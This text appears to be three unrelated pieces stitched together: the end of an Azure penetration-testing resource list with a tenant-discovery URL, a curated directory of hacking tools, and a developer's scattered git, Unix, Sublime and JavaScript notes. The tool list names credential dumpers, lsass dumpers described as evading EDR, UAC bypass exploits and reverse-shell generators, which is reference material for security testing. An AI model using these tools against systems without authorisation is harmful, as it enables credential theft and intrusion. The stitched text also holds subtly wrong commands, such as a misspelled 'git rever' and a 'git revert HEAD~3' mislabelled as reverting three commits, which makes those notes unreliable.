- [Resources from PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20Azure%20Pentest.md)
- [Encyclopedia on Hacking the Cloud](https://hackingthe.cloud/) - (_No content yet for Azure_)
## Lab Exercises
- [azure-security-lab](https://github.com/azurecitadel/azure-security-lab) - Securing Azure Infrastructure - Hands on Lab Guide
- [AzureSecurityLabs](https://github.com/davisanc/AzureSecurityLabs) - Hands-on Security Labs focused on Azure IaaS Security
- [Building Free Active Directory Lab in Azure](https://medium.com/@kamran.bilgrami/ethical-hacking-lessons-building-free-active-directory-lab-in-azure-6c67a7eddd7f)
## Talks and Videos
- [Attacking and Defending the Microsoft Cloud (Office 365 & Azure AD](https://www.youtube.com/watch?v=SG2ibjuzRJM)
- [Presentation Slides](https://i.blackhat.com/USA-19/Wednesday/us-19-Metcalf-Attacking-And-Defending-The-Microsoft-Cloud.pdf)
- [TR19: I'm in your cloud, reading everyone's emails - hacking Azure AD via Active Directory](https://www.youtube.com/watch?v=JEIR5oGCwdg)
- [Presentation Slides](https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf)
- [Dirk Jan Mollema - Im In Your Cloud Pwning Your Azure Environment - DEF CON 27 Conference](https://www.youtube.com/watch?v=xei8lAPitX8)
- [Presentation Slides](https://media.defcon.org/DEF%20CON%2027/DEF%20CON%2027%20presentations/DEFCON-27-Dirk-jan-Mollema-Im-in-your-cloud-pwning-your-azure-environment.pdf)
- [Adventures in Azure Privilege Escalation Karl Fosaaen](https://www.youtube.com/watch?v=EYtw-XPml0w)
- [Presentation Slides](https://notpayloads.blob.core.windows.net/slides/Azure-PrivEsc-DerbyCon9.pdf)
- [Introducing ROADtools - Azure AD exploration for Red Teams and Blue Teams](https://www.youtube.com/watch?v=o5QDt30Pw_o)
## Books
- [Pentesting Azure Applications](https://nostarch.com/azure)
## Tips and Tricks
- Replace COMPANYNAME with the company name of your choice to check if they use Azure. If the **NameSpaceType** indicates _"Managed"_, then the company is using Azure AD:
```
https://login.microsoftonline.com/getuserrealm.srf?login=username@COMPANYNAME.onmicrosoft.com&xml=1
```
|
# This is a simple list of all tools that can be related to hacking, there are windows and linux tools
This repo was created by [Geluchat](https://github.com/Geluchat) and [laxa](https://github.com/Laxa)
The overall idea is to find quickly a tool that could suit your need or help you in any way related to computer hacking.
This list is supposed to be as exhaustive as possible.
All tools are listed like this \[TAG1|\[TAG2|TAG3...]][Clickable name](#): Short description
### Legend
* \[G]: Github/Git repository # Note, this flag automatically implies the \[O] flag
* \[S]: Software (Imply that it's not always 100% free and that it's not open source or restrictive license)
* \[F]: Freeware (Free software, doesn't necessarily means that it's opensource)
* \[I]: Website
* \[P]: Plugin for chrome
* \[R]: Plugin for firefox
* \[D]: Plugin for IDA Pro
* \[C]: CLI tool
* \[O]: Open source
* \[M]: Misceallenous
* \[L]: Reverse Flag: is set only when Linux compatible
* \[W]: Reverse Flag: is set only when Windows compatible
### Binary
* \[I] https://malwr.com/: online binary analysis (behaviour analysis in sandbox)
* \[I] https://www.virustotal.com/: online binary analysis by AV
* \[I] https://www.hybrid-analysis.com: online binary analysis (behaviour analysis in sandbox)
* \[I] https://retdec.com/: online decompiler for c/c++ binaries
* \[I] http://www.showmycode.com/: online decompiler for .NET/flash and others...
* \[I] http://www.javadecompilers.com/: java decompiler online
* \[I] https://defuse.ca/online-x86-assembler.htm: online frontend for disassembling/assembling x86/x86_64
* \[S|W] [Reflector]: assembly browser for .NET
* \[F|O|W] [Simple Assembly Explorer]: another .NET disassembler
* \[F|O|W] [de4dot]: .NET deobfuscator
* \[G|W] [dnSpy]: .NET decompiler, debugger, assembly editor and more
* \[S] [IDA]: debugger / disassembler, most complete tool for static/dynamic binary analysis
* \[D] [FindCrypt2]: Detect static code for known algorithms
* \[D|G] [ScyllaHide]: Anti-Anti debug
* \[D|G] [DIE]: Dynamic IDA Enrichment
* \[F|O] [OllyDbg]: debugger
* \[F|O|W] [x64dbg]: debugger
* \[F|W] [Detect it easy]: binary packer detection
* \[S|W] [apimonitor]: inspect process calls and trace them
* \[S|W] [processmonitor]: Microsoft tool to quickly see system calls
* \[F|W] [PEiD]: identify which packer has been used on PE binaries
* \[O|W] [XNResourceEditor]: Browse resources in PE
* \[F|W] [ImpREC]: reconstruct IAT table for unpacked binaries
* \[O|W] [cheatengine]: memory scanner and other usefull things
* \[C|O|L] [gdb]: Gnu debugger for linux
* \[M|G] [peda]: python plugin for gdb
* \[M|G] [gef]: gdb plugin supporting more architectures than peda
* \[C|O|L] [strace/ltrace]: system call tracers / dynamic call tracers (librairies)
* \[S] [dede]: delphi decompiler
* \[S] [Pin]: dynamic binary instrumentation framework
* \[G] [Pintool]: binary password finder for ctf using pin
* \[O|L] [checksec]: check binary protections
* \[G] [Qira]: timeless debugger with web interface by geohot
* \[G|C] [ROPGadget]: tool for rop chaining
* \[G|C] [plasma]: interactive disassembler in pseudo-C with colored syntax
* \[O|C|L] [XOCopy]: copy memory of execute only ELF binaries
* \[G|C] [Shellsploit]: shellcode generator framework
* \[G|C] [radare2]: analyzer, disassembler, debugger
* \[G] [Bokken]: Python-GTK GUI for radare2
* \[G|C] [libformatstr]: python lib to make string format exploits
* \[G] [pwntools]: Python framework to quickly develop exploits
* \[G] [binjitsu]: fork of pwntools
* \[G|C] [fixenv]: Script to align stack withtout ASLR and gdb,strace,ltrace
* \[G] [Voltron]: Great UI Debugger
* \[G] [Z3]: Z3 is a theorem prover
* \[G] [angr]: binary analysis, allows value-set analysis
* \[G] [manticore]: dynamic analysis, symbolic execution framework
* \[G] [rop-tool]: another helpful tool for ROP
* \[G] [villoc]: visualize heap chunks on linux
* \[O|C] [valgrind]: binary analysis allowing to spot read/write errors on memory operations
* \[O|C] [Flawfinder]: static source code analyzer for C/C++ which report possible security weakness
* \[G|C] [afl]: American Fuzy Lop is a fuzzer using dumb/instrumented/qemu
* \[G] [gdbgui]: web lightweight gui interface for gdb
* \[G|C] [one_gadget]: script to find and identify constraints on magc gadget
* \[G|C] [Ropper]: gadgets finder, better than ROPgadget for ARM
* \[G|C] [frida]: Dynamic instrumentation toolkit for most common platforms
### Android/IOS
* \[G] [dex2jar]: apk unpacker (android package)
* \[G|C] [objection]: mobile exploration toolkit, wrapper of frida
* \[G|C] [apktool]: unpack apk, repack them and various other operations
* \[G|C] [uber-apk-signer]: signing apk
### Forensic
* \[C|O] [volatility]: forensic tool to analyse memory dump from windows/linux
* \[C|O] [Autopsy/Sleuth]: analyse hard drives and smartphones
* \[C|O] [Foremost]: file recovery after deletion or format
* \[G|C] [BinWalk]: find files into file
* \[S] [dff]: complete forensic gui analyser with lots of automation
* \[G|C] [origami]: pdf forensic analysis with optional GUI
* \[F|W] [MFTDump]: dump/copy $MFT file on windows
* \[G|C] [AppCompatCacheParser]: dump shimcache entries from Registry (can use offline registry)
* \[F|W] [RegistryExplorer]: GUI to explore registry with search options and possibility to use offline register
* \[S|W] [Agent Ransack]: GUI to search for files/content on shares/local drives
### Cryptography
* \[C|G] [xortool]: find xor key/key length from xor text/binary
* \[C|G] [cribdrag]: interactive crib dragging on xored text
* \[C|G] [hash_extender]: hash extension forger
* \[C|G] [hash-identifier]: hash identifier
* \[C|G] [PadBuster]: break CBC encryption using an oracle
* \[C|G] [lsb-toolkit]: extract bit from images for steganography
* \[C|O] [john]: hash cracker (bruteforce + dico attacks)
* \[F|O] [hashcat]: hash bruteforce cracker that support GPU
* \[C|G] [rsatool]: calculates RSA (p, q, n, d, e) and RSA-CRT (dP, dQ, qInv) parameters given either two primes (p, q) or modulus and private exponent (n, d)
* \[I] http://quipqiup.com/: basic cryptography solver
* \[G|C] [python-paddingoracle]: python tool to exploit padding oracle
### Web
* \[F|O] [DirBuster]: bruteforce/dictionnary attack on webserver to find hidden directories
* \[I] http://pkav.net/XSS2.png: XSS spreadsheet
* \[C|O] [sqlmap]: sql injection
* \[S] [Burp suite]: request tool analysis/forge request
* \[S|W] [fiddler]: HTTP web proxy
* \[I] http://requestb.in/: get a temporary page to receive GET/POST request
* \[I] http://en.42.meup.org/ : Temporary web hosting
* \[I] https://zerobin.net/: anonymous encrypted pastebin
* \[I] http://pastebin.com/: paste code/text with coloration
* \[I] http://portquiz.net/: test outgoing ports
* \[I] http://botscout.com/: check if an IP is flagged as spam/bot
* \[P|R] [HackBar]: xss/sql tests
* \[R] [TamperData]: modify and tamper HTTP requests
* \[R] [Advanced Cookie Manager]: Edit cookie
* \[R] [Modify Headers]: Edit HTTP headers
* \[R] [HTTP Requester]: Edit HTTP requests
* \[R] [FlagFox]: Info about current website
* \[R] [Live HTTP Headers]: View Headers
* \[P] [ModHeader]: edit HTTP requests
* \[G] [Nikto2]: web server scanner
* \[P] [EditThisCookie]: edit cookie, can lock cookie
* \[I] https://dnsdumpster.com/: free domain research tools, find subdomains
* \[I] https://pentest-tools.com/home: subdomain bruteforce not 100% free
* \[G] [Hydra]: remote password cracker
* \[G|C] [wuzz]: webclient curl like using ncurses
* \[G|C] [patator]: web bruteforce/enumator
* \[G|C] [wfuzz]: web bruteforce/enumator
* \[G|C] [teh_s3_bucketeers]: bruteforce s3 buckets
* \[W] https://html5sec.org/: tons of XSS bypass in browsers
* \[G|C] [brakeman]: Ruby on Rails static code analysis security related
* \[G|C] [gixy]: nginx configuration auditor
### Windows
* \[G|C] [impacket]: tons of CLI scripts to interact with windows protocols
* \[G|C] [mimikatz]: Retrieve hash/password, play with DPAPI
* \[G|C] [pypykatz]: python implementation of mimikatz
* \[G|W] [UACME]: Exploits for UAC bypass
* \[G|C] [responder]: Protocol poisoner and rogue server for Microsoft based networks
* \[G|C] [crackmapexec]: Swiss army knife for pentesting
* \[G|C] [lsassy]: lsass dumper and parser
* \[G|C] [dumpert]: lsass memory dumper techniques that can bypass some EDR
* \[G|C] [phys2memprofit]: lsass memory dumper through kernel driver, can bypass EDR
* \[G|C] [pywerview]: partial powersploit's tooling rewritten in python
* \[G|C] [SharpRDP]: can execute commands through RDP connection without any GUI interaction
### Network
* \[C|O] [Netcat]: network tool, can listen or connect using TCP/UDP
* \[C|O] [nmap]: network tool to scan ports and discover services
* \[C|O] [Scapy]: powerful interactive packet manipulation program
* \[C|O] [Aircrack]: wi-fi injection/monitoring/cracking
* \[S|O] [Wireshark]: network packet analyzer
* \[S|W] [NetworkMiner]: sniffer/pcap analyzer, pretty good for files and see what's going on with HTTP traffic
* \[C|O] [Hexinject]: Packer injector and sniffer. Allows to modify packets on the fly
* \[G|C] [ssf]: Client/server socks proxifying and port forwarding with reverse https
* \[G|C] [revsocks]: Go implementation for a socks proxy with reverse SSL/TLS
### Steganography
* \[C|F] [exiftags]: linux package to check jpg tags
* \[O|C] [ExifTool]: read/edit metadata of various file formats
* \[F|O|W] [tweakpng]: tool to resize image for steganography
* \[F|O] [Stegsolve]: perform quick image analysis to find hidden things
* \[F|O] [Wbstego]: retrieve/hide messages in various container
### Misc
* \[F|O|W] [Cuckoo]: interactive sandbox malware analysis
* \[F|O|W] [Photorec]: recover erased file
* \[C|O] [QEMU]: machine emulator and virtualizer
* \[C|S] [metasploit]: Generate payload and browser exploits
* \[C|O] [binutils]: tons of CLI tools
* \[S] [vmware]: virtualization products
* \[I] https://regex101.com/: javascript/python/php regex online
* \[I] http://rubular.com/: ruby regex online
* \[M|O] [kali]: hacking linux OS
* \[I] https://www.exploit-db.com/: exploits database
* \[G|C] [AutoLocalPrivilegeEscalation]: bash script to get root if possible
* \[C|O] [sshpass]: pass ssh password without typing it (highly insecure)
* \[C|O] [virt-what]: simple bash script to detect virtualization environment
* \[W|O] [ProcessHacker]: Extended taskmanager
* \[G] [english-words]: simple english wordlist
* \[G] [fuzzdb]: tons of lists for fuzzing
* \[O|C] [recon-ng]: reconnaissance tool metasploit alike for mails/leaks/contacts/hosts/domains...
* \[G] https://gist.github.com/adamloving/4401361: List of trash/temporary mails list
* \[W] http://www.viewdns.info/: retrieve DNS information, reverse whois, etc...
* \[W] http://packetlife.net/library/cheat-sheets/: cheat sheets on different technos (network, CLI tools, etc)
* \[G|C] [odat]: exploitation tools targeting oracle database
* \[G|C] [msdat]: exploitation tools targeting Microsoft SQL database
* \[G|C] [ShellPop]: generate bind/reverse shells from command line
### Sec/Tools list
* \[W] [pax0r]: another huge list of tools
* \[G] [SecLists]: SecLists is the security tester's companion. It is a collection of multiple types of lists used during security assessments
* \[G] [ctf-tools]: list of tools similar to this one
* \[I] http://resources.infosecinstitute.com/tools-of-trade-and-resources-to-prepare-in-a-hacker-ctf-competition-or-challenge/
* \[G] https://github.com/Hack-with-Github/Awesome-Hacking: awesome list related to hacking
### Programming
* \[I] http://www.tutorialspoint.com/: online programmation on most languages
* \[I] https://gcc.godbolt.org/: check disassembly code produced with different versions of gcc
---
If you wanna improve or add your tool here, fork this repo then push onto your own master then make a pull request.
I won't accept any software that is specific to OS X if it doesn't work on linux or windows.
If you think you have a nice feature idea, open an issue.
This list isn't mean to be ordered in some way, but if people like it, it is already noted that making a proper wiki referencing tools name with link might be a better thing than a Markdown page.
Github wiki is also an option when the list is going to be too long.
[DirBuster]: https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project
[xortool]: https://github.com/hellman/xortool
[cribdrag]: https://github.com/SpiderLabs/cribdrag
[Cuckoo]: http://www.cuckoosandbox.org/
[Reflector]: https://www.red-gate.com/products/dotnet-development/reflector/
[Simple Assembly Explorer]: https://sites.google.com/site/simpledotnet/simple-assembly-explorer
[de4dot]: http://de4dot.com/
[IDA]: https://www.hex-rays.com/products/ida/
[OllyDbg]: http://www.ollydbg.de/
[x64dbg]: http://x64dbg.com/
[sqlmap]: http://sqlmap.org/
[Photorec]: http://www.cgsecurity.org/wiki/PhotoRec
[hash_extender]: https://github.com/iagox86/hash_extender
[hash-identifier]: https://github.com/psypanda/hashID
[lsb-toolkit]: https://github.com/luca-m/lsb-toolkit
[john]: http://www.openwall.com/john/
[volatility]: http://www.volatilityfoundation.org/
[Burp suite]: https://portswigger.net/burp/
[fiddler]: http://www.telerik.com/fiddler
[metasploit]: http://www.metasploit.com/
[exiftags]: http://johnst.org/sw/exiftags/
[hashcat]: http://hashcat.net/oclhashcat/
[HackBar]: https://chrome.google.com/webstore/detail/hackbar/ejljggkpbkchhfcplgpaegmbfhenekdc
[EditThisCookie]: https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg?
[TamperData]: https://addons.mozilla.org/en-US/firefox/addon/tamper-data/
[Advanced Cookie Manager]: https://addons.mozilla.org/fr/firefox/addon/cookie-manager/
[Modify Headers]: https://addons.mozilla.org/fr/firefox/addon/modify-headers/
[HTTP Requester]: https://addons.mozilla.org/fr/firefox/addon/httprequester/
[FlagFox]: https://addons.mozilla.org/fr/firefox/addon/flagfox/
[Live HTTP Headers]: https://addons.mozilla.org/fr/firefox/addon/live-http-headers/
[ModHeader]: https://chrome.google.com/webstore/detail/modheader/idgpnmonknjnojddfkpgkljpfnnfcklj
[Netcat]: http://nc110.sourceforge.net/
[nmap]: https://nmap.org/
[binutils]: https://www.gnu.org/software/binutils/
[vmware]: http://www.vmware.com/
[dede]: http://www.softpedia.com/get/Programming/Debuggers-Decompilers-Dissasemblers/DeDe.shtml
[tweakpng]: http://entropymine.com/jason/tweakpng/
[dex2jar]: https://github.com/pxb1988/dex2jar
[kali]: https://www.kali.org/
[notepad++]: https://notepad-plus-plus.org/
[ctf-tools]: https://github.com/zardus/ctf-tools
[gdb]: https://www.gnu.org/software/gdb/
[peda]: https://github.com/longld/peda
[Stegsolve]: http://www.caesum.com/handbook/Stegsolve.jar
[Scapy]: http://www.secdev.org/projects/scapy/
[Nikto2]: https://cirt.net/Nikto2
[Autopsy/Sleuth]: http://www.sleuthkit.org/index.php
[Foremost]: https://doc.ubuntu-fr.org/foremost
[Aircrack]: http://www.aircrack-ng.org/
[Pin]: https://software.intel.com/en-us/articles/pin-a-dynamic-binary-instrumentation-tool
[Pintool]: https://github.com/wagiro/pintool
[pwntools]: https://pwntools.readthedocs.org/en/2.2/
[QEMU]: http://wiki.qemu.org/Main_Page
[rsatool]: https://github.com/ius/rsatool
[checksec]: http://www.trapkit.de/tools/checksec.html
[Detect it easy]: http://ntinfo.biz/
[Qira]: https://github.com/BinaryAnalysisPlatform/qira
[Hydra]: https://github.com/vanhauser-thc/thc-hydra
[ROPGadget]: https://github.com/JonathanSalwan/ROPgadget
[plasma]: https://github.com/joelpx/plasma
[XOCopy]: http://reverse.lostrealm.com/tools/xocopy.html
[Shellsploit]: https://github.com/b3mb4m/shellsploit-framework
[radare2]: https://github.com/radare/radare2
[Bokken]: https://github.com/radare/bokken
[BinWalk]: https://github.com/devttys0/binwalk
[Wbstego]: http://wbstego.wbailer.com/
[dff]: http://www.arxsys.fr/discover/
[origami]: https://github.com/cogent/origami-pdf
[libformatstr]: https://github.com/hellman/libformatstr
[fixenv]: https://github.com/hellman/fixenv
[cheatengine]: http://www.cheatengine.org/
[AutoLocalPrivilegeEscalation]: https://github.com/ngalongc/AutoLocalPrivilegeEscalation
[Voltron]: https://github.com/snare/voltron
[SecLists]: https://github.com/danielmiessler/SecLists
[PadBuster]: https://github.com/GDSSecurity/PadBuster
[Z3]: https://github.com/Z3Prover/z3
[angr]: https://github.com/angr/angr
[rop-tool]: https://github.com/t00sh/rop-tool
[villoc]: https://github.com/wapiflapi/villoc
[sshpass]: https://sourceforge.net/projects/sshpass/files/sshpass/
[Wireshark]: https://www.wireshark.org/
[binjitsu]: https://github.com/binjitsu/binjitsu
[virt-what]: https://people.redhat.com/~rjones/virt-what/
[valgrind]: http://valgrind.org/
[ProcessHacker]: http://processhacker.sourceforge.net/
[apimonitor]: http://www.rohitab.com/apimonitor
[pax0r]: http://pax0r.com/staff/tools2016/
[PEiD]: https://www.aldeid.com/wiki/PEiD
[ImpREC]: http://www.woodmann.com/collaborative/tools/index.php/ImpREC
[Flawfinder]: http://www.dwheeler.com/flawfinder/
[ExifTool]: http://www.sno.phy.queensu.ca/~phil/exiftool/
[NetworkMiner]: http://www.netresec.com/?page=NetworkMiner
[english-words]: https://github.com/dwyl/english-words
[MFTDump]: http://malware-hunters.net/all-downloads/
[AppCompatCacheParser]: https://github.com/EricZimmerman/AppCompatCacheParser
[RegistryExplorer]: https://binaryforay.blogspot.fr/2015/07/registry-explorerrecmd-0710-released.html
[python-paddingoracle]: https://github.com/mwielgoszewski/python-paddingoracle
[afl]: https://github.com/mirrorer/afl
[Hexinject]: https://sourceforge.net/projects/hexinject/files/
[gef]: https://github.com/hugsy/gef
[gdbgui]: https://github.com/cs01/gdbgui/
[wuzz]: https://github.com/asciimoo/wuzz
[one_gadget]: https://github.com/david942j/one_gadget
[Ropper]: https://github.com/sashs/Ropper
[fuzzdb]: https://github.com/fuzzdb-project/fuzzdb
[manticore]: https://github.com/trailofbits/manticore
[XNResourceEditor]: https://stefansundin.github.io/xn_resource_editor/
[FindCrypt2]: http://www.hexblog.com/?p=28
[ScyllaHide]: https://github.com/x64dbg/ScyllaHide/
[DIE]: https://github.com/ynvb/DIE
[processmonitor]: https://docs.microsoft.com/en-us/sysinternals/downloads/procmon
[recon-ng]: https://bitbucket.org/LaNMaSteR53/recon-ng
[dnSpy]: https://github.com/0xd4d/dnSpy
[wfuzz]: https://github.com/xmendez/wfuzz
[patator]: https://github.com/lanjelot/patator
[impacket]: https://github.com/CoreSecurity/impacket
[Agent Ransack]: https://www.mythicsoft.com/agentransack/
[UACME]: https://github.com/hfiref0x/UACME/
[frida]: https://github.com/frida/frida
[objection]: https://github.com/sensepost/objection
[teh_s3_bucketeers]: https://github.com/tomdev/teh_s3_bucketeers
[apktool]: https://github.com/iBotPeaches/Apktool
[uber-apk-signer]: https://github.com/patrickfav/uber-apk-signer
[brakeman]: https://github.com/presidentbeef/brakeman
[gixy]: https://github.com/yandex/gixy
[mimikatz]: https://github.com/gentilkiwi/mimikatz
[pypykatz]: https://github.com/skelsec/pypykatz
[responder]: https://github.com/SpiderLabs/Responder
[crackmapexec]: https://github.com/byt3bl33d3r/CrackMapExec
[lsassy]: https://github.com/Hackndo/lsassy
[dumpert]: https://github.com/outflanknl/Dumpert
[odat]: https://github.com/quentinhardy/odat
[msdat]: https://github.com/quentinhardy/msdat
[phys2memprofit]: https://github.com/FSecureLABS/physmem2profit
[pywerview]: https://github.com/the-useless-one/pywerview
[SharpRDP]: https://github.com/0xthirteen/SharpRDP
[ssf]: https://github.com/securesocketfunneling/ssf
[revsocks]: https://github.com/kost/revsocks
[ShellPop]: https://github.com/0x00-0x00/ShellPop
|
disk space on solaris/unix:
df -h (get the disk usage/free)
du -sh * | sort -h | less (get disk space usage by file)
**git branch --sort=-committerdate**
const CANCELLED = Object.freeze({
cancelled: true,
});
const factory = {
create,
};
function create(promise) {
let isCancelled = false;
const wrapper = new Promise((resolve, reject) => {
promise.then(val =>
isCancelled ? reject(CANCELLED) : resolve(val)
);
promise.catch(error =>
isCancelled ? reject(CANCELLED) : reject(error)
);
});
return {
promise: wrapper,
cancel() {
isCancelled = true;
},
};
};
export default factory;
Regex lookbehind `(?<!Manifest)\.isAvailable` (not preceded by Manifest)
Windows symlink soft link: `mklink /j "1.9.10548" "C:\sandbox\dev\evolve\dist\artifacts" `
http://stackoverflow.com/questions/2850369/why-does-git-fast-forward-merges-by-default
Pull has a --no-ff option to force a merge commit. Merge commits are not created by default when it can be fast-forwarded.
git apply --ignore-space-change --ignore-whitespace --reject patch.diff
killall on windows
taskkill /F /IM <process name>
tail -f logfile | egrep -o '((Session Closed)|(Session Created))(?context=\w*)
git log --graph --decorate --oneline --author="" --since="12 Jan"
C:\s\dev\e-app,-components/**/*,-node_modules/**/*,-dist/**/*,-__misc/**/*,-/**/*.css,-/**/*.html
window.uui.pfJSClientSettings
##Unix
Log Commits
git log --pretty='%h %ai %f %an' 6bd6c27ebbf8..HEAD
Create symbolic link: `ln -s foo bar`
Create hard link (deletions of the link results in deletion of the target): `ln foo bar`
##Debugging Node.js
npm install -g node-inspector
##Wait for digest
```javascript
define(function(require) {
'use strict';
var noop = require('../../../utils/noop');
function Service($timeout) {
return function waitForDigest() {
return $timeout(noop);
};
}
Service.$inject = ['$timeout'];
return Service;
});
```
##~/.bash_profile
```bash
GetBranch()
{
cat ./.git/HEAD 2>/dev/null | sed 's+^ref: refs/heads/++'
}
export PS1="\[\e]0;\w\a\]\n\[\e[32m\]\u@\h \[\e[36m\]\$(GetBranch) \[\e[33m\]\w \[\e[0m\]\n"
alias g="git"
alias dev="cd ~/Documents/dev"
cd ~/Documents/dev
```
https://drboolean.gitbooks.io/mostly-adequate-guide/
Revert a merge:
git rever -m 1 <sha>
Revert last 3 commits:
```git revert HEAD~3```
Require contexts:
function getRequireDefintionObject() {
var contexts, key, regex;
contexts = requirejs.s.contexts;
regex = /^exe-app-/;
key = findFirst(Object.keys(contexts), function(i) {
return regex.test(i);
});
return contexts[key].defined;
}
angular.element('.prices-container > div:nth-child(2) > .quidget .quidget__inner').scope().$$childHead.tileModel.priceStream
angular.element('.prices-container > div:nth-child(2) > .quidget .quidget__inner').scope().$$childHead.tileModel
require.s.contexts._.registry.defined // get the registered modules in the root context
require.s.contexts['execution-app-http://foo:23900/../../src-context'].require('execution-app/features/pricing/price-stream-start-scheduler')
Debugging protractor:
Add an option to your local copy of evolve-gulp-build/tasks/test.js like so:
gulpProtractor.protractor({ debug: true, ... })
browser.debugger();
browser.debug();
gulp protractor --specs=test/browser/specs/external/spot/foo-spec.js
angular.element('.prices-container > div:nth-child(2) > .quidget').scope().shouldRender
gulp test-watch | egrep 'FOO::| ERROR | Error |Executed [0-9]+ of'
:node /c/sandbox/devtools/nodejs/node0.10.37-npm1.4.16-bower1.3.50-gruntcli0.1.13/gulp /c/sandbox/dev/evolve/execution-app
UNIX:
`du -sh <directory>` (count the usage of the directory, without printing sub-directories)
Backtick can be used to send a command to another command, for example:
```bash
du -s `ls -l`
```
C:\sandbox\dev,-components/**/*,-node_modules/**/*,-dist/**/*,-__misc/**/*,-mock-data/**/*,-evolve-cma/**/*,-mockData/**/*,-report/**/*,-**/*.css,-libs/**/*,-**/*.html
{"trailing_spaces_trim_on_save":true,
"trailing_spaces_include_empty_lines":false,
"trailing_spaces_highlight_color":"red",
"trailing_spaces_regexp":"([\t]+$)|([\\s]*$(?![\\w\\W]))"}
C:\sandbox\dev\,-components/**/*,-node_modules/**/*,-dist/**/*,-__misc/**/*,-mock-data/**/*,-evolve-cma/**/*,-mockData/**/*,-report/**/*
#Sublime
Negative lookahead: `\.productType(?!\.)`
Negative lookbehind: `\.productType(?<!\.)`
##Sublime Packages
Sublime File Browser https://github.com/aziz/SublimeFileBrowser (F1 binding, plus shift+r for rename)
BracketHighlighter
DocBlockr
FocusFile
PackageControl
SideBarEnhancements
TrailingSpaces
Prettify
jshint (requires npm install -g jshint)
trailingspaces
dopblocker
C:\dev\,-components/**/*,-node_modules/**/*,-dist/**/*,-__misc/**/*
C:\dev\,-components/**/*,-node_modules/**/*,-dist/**/*,-__misc/**/*
.jsbeautifyrc
```
{
// The plugin looks for a .jsbeautifyrc file in the same directory as the
// source file you're prettifying (or any directory above if it doesn't exist,
// or in your home folder if everything else fails) and uses those options
// along the default ones.
// Details: https://github.com/victorporof/Sublime-HTMLPrettify#using-your-own-jsbeautifyrc-options
// Documentation: https://github.com/einars/js-beautify/
"html": {
"allowed_file_extensions": ["htm", "html", "xhtml", "shtml", "xml", "svg"],
"brace_style": "collapse", // [collapse|expand|end-expand|none] Put braces on the same line as control statements (default), or put braces on own line (Allman / ANSI style), or just put end braces on own line, or attempt to keep them where they are
"end_with_newline": false, // End output with newline
"indent_char": "\t", // Indentation character
"indent_handlebars": false, // e.g. {{#foo}}, {{/foo}}
"indent_inner_html": false, // Indent <head> and <body> sections
"indent_scripts": "keep", // [keep|separate|normal]
"indent_size": 1, // Indentation size
"max_preserve_newlines": 0, // Maximum number of line breaks to be preserved in one chunk (0 disables)
"preserve_newlines": true, // Whether existing line breaks before elements should be preserved (only works before elements, not inside tags or for text)
"unformatted": ["a", "span", "img", "code", "pre", "sub", "sup", "em", "strong", "b", "i", "u", "strike", "big", "small", "pre", "h1", "h2", "h3", "h4", "h5", "h6"], // List of tags that should not be reformatted
"wrap_line_length": 0 // Lines should wrap at next opportunity after this number of characters (0 disables)
},
"css": {
"allowed_file_extensions": ["css", "scss", "sass", "less"],
"end_with_newline": false, // End output with newline
"indent_char": "\t", // Indentation character
"indent_size": 1, // Indentation size
"newline_between_rules": true, // Add a new line after every css rule
"selector_separator": " ",
"selector_separator_newline": true // Separate selectors with newline or not (e.g. "a,\nbr" or "a, br")
},
"js": {
"allowed_file_extensions": ["js", "json", "jshintrc", "jsbeautifyrc"],
"brace_style": "collapse", // [collapse|expand|end-expand|none] Put braces on the same line as control statements (default), or put braces on own line (Allman / ANSI style), or just put end braces on own line, or attempt to keep them where they are
"break_chained_methods": false, // Break chained method calls across subsequent lines
"e4x": false, // Pass E4X xml literals through untouchedle
"end_with_newline": false, // End output with newline
"indent_char": "\t", // Indentation character
"indent_level": 0, // Initial indentation level
"indent_size": 1, // Indentation size
"indent_with_tabs": false, // Indent with tabs, overrides `indent_size` and `indent_char`
"jslint_happy": false, // If true, then jslint-stricter mode is enforced
"keep_array_indentation": false, // Preserve array indentation
"keep_function_indentation": false, // Preserve function indentation
"max_preserve_newlines": 0, // Maximum number of line breaks to be preserved in one chunk (0 disables)
"preserve_newlines": true, // Whether existing line breaks should be preserved
"space_after_anon_function": false, // Should the space before an anonymous function's parens be added, "function()" vs "function ()"
"space_before_conditional": true, // Should the space before conditional statement be added, "if(true)" vs "if (true)"
"space_in_empty_paren": false, // Add padding spaces within empty paren, "f()" vs "f( )"
"space_in_paren": false, // Add padding spaces within paren, ie. f( a, b )
"unescape_strings": false, // Should printable characters in strings encoded in \xNN notation be unescaped, "example" vs "\x65\x78\x61\x6d\x70\x6c\x65"
"wrap_line_length": 0 // Lines should wrap at next opportunity after this number of characters (0 disables)
}
}
```
.editorconfig
# EditorConfig helps developers define and maintain consistent
# coding styles between different editors and IDEs
# editorconfig.org
root = true
[*]
indent_style = tab
indent_size = 4
# Change these settings to your own preference
[*.js]
indent_style = tab
indent_size = 4
[*.html]
indent_style = tab
indent_size = 4
# We recommend you to keep these unchanged
end_of_line = lf
charset = utf-8
trim_trailing_whitespace = true
insert_final_newline = true
[*.md]
trim_trailing_whitespace = true
Preferences.sublime-settings
```
{
"bold_folder_labels": true,
"detect_indentation": true,
"draw_white_space": "all",
"font_size": 13,
"ignored_packages":
[
"Vintage"
],
"tab_size": 4,
"translate_tabs_to_spaces": false,
"trim_trailing_white_space_on_save": true,
"update_check": false
}
```
```javascript
(function() {
require(['foo', 'bar'], function(foo, bar) {
var transcoder, bytes, buffer;
transcoder = new bar(proto);
bytes = msg.split(' ');
debugger;
buffer = new Uint8Array(bytes.length);
buffer.set(bytes.map(function(i) { return parseInt(i, 16); }))
var s = '';
for(var x = 0; x < buffer.length; x++) {
s = s + String.fromCharCode(buffer[x]);
}
console.log(s);
console.log(transcoder.byteBufferToResponse(s));
})();
}());
```
```javascript
println(Array("One", "Two", "Three").filter(_.length == 3).map(_.reverse))
console.log(['one', 'two', 'three'].filter(i=>i.length == 3).map(i=>i.split('').reverse().join('')))
```
['one', 'two', 'three'].filter(i => i.length === 3).map(i => i.split('').reverse().join(''))
['one', 'two', 'three'].reduce((p, i) => i.length === 3 ? p.splice(0, 0, i.split('').reverse().join('')) && p : p, [])
var a = [0xae,0x11]; console.log(a.map(function(o) { return String.fromCharCode(o) }))
Show network messages in console in chrome.
Tracer.setTrace(false);
